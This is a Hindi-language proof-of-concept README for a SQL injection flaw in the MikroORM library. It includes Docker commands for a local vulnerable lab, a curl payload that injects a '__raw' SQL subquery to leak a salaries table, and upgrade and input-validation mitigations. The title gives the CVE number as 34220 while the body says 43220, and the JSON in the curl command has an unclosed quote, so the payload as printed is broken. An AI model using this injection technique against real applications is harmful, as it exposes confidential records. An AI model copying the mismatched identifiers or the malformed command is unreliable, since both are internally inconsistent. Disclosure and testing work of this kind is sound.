
CVE-2026-34220 — Updated!
MikroORM में SQL Injection भेद्यता
CVE-2026-43220 MikroORM SQL इंजेक्शन
★ CVE-2026-43220 MikroORM SQL इंजेक्शन PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
अवलोकन
CVE-2026-43220 MikroORM में एक SQL इंजेक्शन कमजोरी है, जो एक व्यापक रूप से उपयोग किया जाने वाला TypeScript/Node.js ORM फ्रेमवर्क है।
जब__rawप्रॉपर्टी वाला उपयोगकर्ता-प्रदत्त मान बिना सत्यापन के Custom Type कॉलम को पास किया जाता है, तो MikroORM काisRaw()चेक उसे एक विश्वसनीय आंतरिक Raw SQL एक्सप्रेशन के रूप में पहचानता है और हमलावर-नियंत्रितsqlमान को बिना किसी प्रकार रूपांतरण या सैनिटाइज़ेशन के सीधे जनरेट किए गए क्वेरी में सम्मिलित कर देता है, जिससे मनमाने SQL का अनपेक्षित निष्पादन होता है।
प्रभावित संस्करण
| श्रेणी | संस्करण |
|---|---|
| कमजोर | MikroORM संस्करण ≤ 6.4.3 और 7.0.0 ≤ संस्करण ≤ 7.0.5 |
| पैच किया गया | MikroORM 6.4.4 और 7.0.6 |
प्रभाव
- बिना प्राधिकरण के डेटाबेस से संवेदनशील डेटा का निष्कासन
- मौजूदा डेटाबेस रिकॉर्ड का भ्रष्टाचार या अनपेक्षित संशोधन
वातावरण
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
कमजोर वातावरण शुरू करने के बाद, हमले को पुनः उत्पन्न करने के लिए नीचे दिए गए चरणों का पालन करें।
चरण 1. __raw वाला दुर्भावनापूर्ण पेलोड भेजें
एक JSON बॉडी भेजें जिसमें Custom Type कॉलम को लक्षित करने वाली __raw प्रॉपर्टी शामिल हो।
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
चरण 2. HTTP प्रतिक्रिया जांचें
सत्यापित करें कि API बिना किसी त्रुटि के सफल प्रतिक्रिया लौटाता है, जो दर्शाता है कि MikroORM ने दुर्भावनापूर्ण पेलोड को एक वैध मान के रूप में स्वीकार कर लिया।
चरण 3. पुष्टि करें कि संवेदनशील डेटा पोस्ट सामग्री में निष्कासित किया गया है
सत्यापित करें कि बनाए गए पोस्ट का content फ़ील्ड salaries तालिका से क्वेरी परिणाम
(जैसे, Alice: 5000 / Bob: 7000 / ...) शामिल करता है,
जो पुष्टि करता है कि किसी असंबंधित तालिका से डेटा बिना किसी त्रुटि या एक्सेस नियंत्रण उल्लंघन के
चुपचाप प्रतिक्रिया में एम्बेड कर दिया गया है।
शमन
- MikroORM 6.4.4 या बाद के संस्करण में अपग्रेड करें, जो
isRaw()में origin सत्यापन प्रस्तुत करता है ताकि बाहरी रूप से प्रदत्त__rawप्रॉपर्टीज़ को अस्वीकार किया जा सके - ORM परत को मान पास करने से पहले
__rawजैसी अप्रत्याशित प्रॉपर्टीज़ को अस्वीकार करने के लिए व्हाइटलिस्ट-आधारित इनपुट सत्यापन लागू करें